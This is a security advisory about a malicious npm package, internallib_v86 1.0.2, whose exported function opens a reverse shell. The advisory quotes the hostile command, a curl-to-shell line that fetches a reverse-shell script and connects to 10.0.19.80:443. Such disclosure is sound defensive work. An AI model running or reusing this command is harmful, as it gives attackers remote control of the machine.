internallib_v86

GHSA-5q3r-2hm2-jm3j

Malicious code in internallib_v86 (npm)

Details

**Severity:** Critical

**Affected versions:** `= 1.0.2`

## Source: amazon-inspector (9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07)
internallib_v86 ships a tiny index.js that exports a function `command` which invokes `/bin/bash -c "curl https://reverse-shell.sh/... | sh"` targeting 10.0.19.80:443. Any consumer that requires the package and calls the exported function causes the installer's host to fetch a reverse-shell script from reverse-shell.sh and pipe it to a shell, giving an interactive remote shell on the installer to whoever controls 10.0.19.80. The package name is generic and no legitimate functionality is implemented alongside this behavior.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/d804cfe9f5aee40bb2d6148df492703641580260/osv/malicious/npm/internallib_v86/MAL-2026-17634.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/d804cfe9f5aee40bb2d6148df492703641580260/osv/malicious/npm/internallib_v86/MAL-2026-17634.json
- https://www.npmjs.com/package/internallib_v86/v/1.0.2
- https://github.com/advisories/GHSA-5q3r-2hm2-jm3j

Compromised versions (1)

= 1.0.2

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.